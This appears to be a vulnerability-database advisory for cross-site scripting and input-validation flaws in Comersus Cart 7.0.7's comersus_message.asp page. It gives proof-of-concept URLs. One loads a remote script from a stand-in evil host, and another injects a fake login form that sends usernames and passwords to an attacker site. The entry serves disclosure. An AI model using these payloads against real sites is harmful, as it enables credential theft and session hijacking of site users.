Comersus Cart 7.0.7 Cart comersus_message.asp redirectUrl XSS

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Comersus Cart 7.0.7 input validation vulnerabilities exploi


                                                source: http://www.securityfocus.com/bid/24562/info
  
Comersus Cart is affected by multiple input validation vulnerabilities.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
The attacker may also leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Comersus Cart 7.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/path/store/comersus_message.asp?message=&#60;script src=http://www.Site.com/Evil_Script.js&#62;&#60;/script&#62; http://www.example.com/path/store/comersus_message.asp?message=&#60;form%20action=&#34;http://www.Evil_Site.com/Steal_Info.asp&#34;%20method=&#34;post&#34;&#62;Username:&#60;input%20name=&#34;username&#34;%20type=&#34;text&#34;%20maxlength=&#34;10&#34;&#62;&#60;br&#62;Password:&#60;input%20name=&#34;password&#34;%2 0type=&#34;text&#34;%20maxlength=&#34;10&#34;&#62;&#60;br&#62;&#60;input%20name=&#34;login&#34;%20type=&#34;submit&#34;%20value =&#34;Login&#34;&#62;&#60;/form&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1